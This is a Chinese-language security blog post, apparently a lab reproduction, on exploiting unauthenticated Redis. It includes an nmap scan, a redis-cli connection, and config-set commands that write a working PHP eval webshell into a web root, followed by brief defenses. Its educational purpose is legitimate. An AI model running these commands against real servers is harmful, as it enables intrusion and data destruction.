一、前言
1. Redis介绍
REmote DIctionary Server(Redis) 是完全开源免费的,遵守BSD协议,Redis是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis因配置不当可造成未授权访问。攻击者无需通过身份认证便可访问到内部数据,造成敏感信息泄露,也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
二、漏洞成因
三、漏洞危害
- 攻击者可远程登录redis,导致敏感信息泄露。
- 攻击者登录redis后,可更改redis设置,也可使用flushall命令,删除所有数据。
- 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
- 如果redis以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
四、漏洞复现
PS:本次扫描,建立在一个代理的模式上,实战中有可能不需要proxychains 作为代理
1、扫描目标机器常规开放端口
└─$ proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080
2、探测到6379端口,疑似redis
3、疑似存在redis未授权访问,直接连接,连接成功
└─$ proxychains4 redis-cli -h 10.0.20.99
4、利用Redis写入Webshell-web路径下写一个phpshell
前提是目标机器开启Web服务,并且需要知道⽹站路径,还需要具有⽂件读写权限
proxychains4 redis-cli -h 10.0.20.99
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php
set 1 "<?php @eval($_POST['tx']);?>"
save
5蚁剑连接
6、查询系统信息
五、防御方法
测试远程访问的修改方法反着走;
- 设置密码
- 设置访问ip
- 开启防火墙
- 修改服务端口..等等
-----------------------------------------------
本期漏洞复现就结束啦,下期见!
--------------------------------------------------
注意:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!~
原文始发于微信公众号(从放弃到入门):漏洞复现系列-Redis未授权访问漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论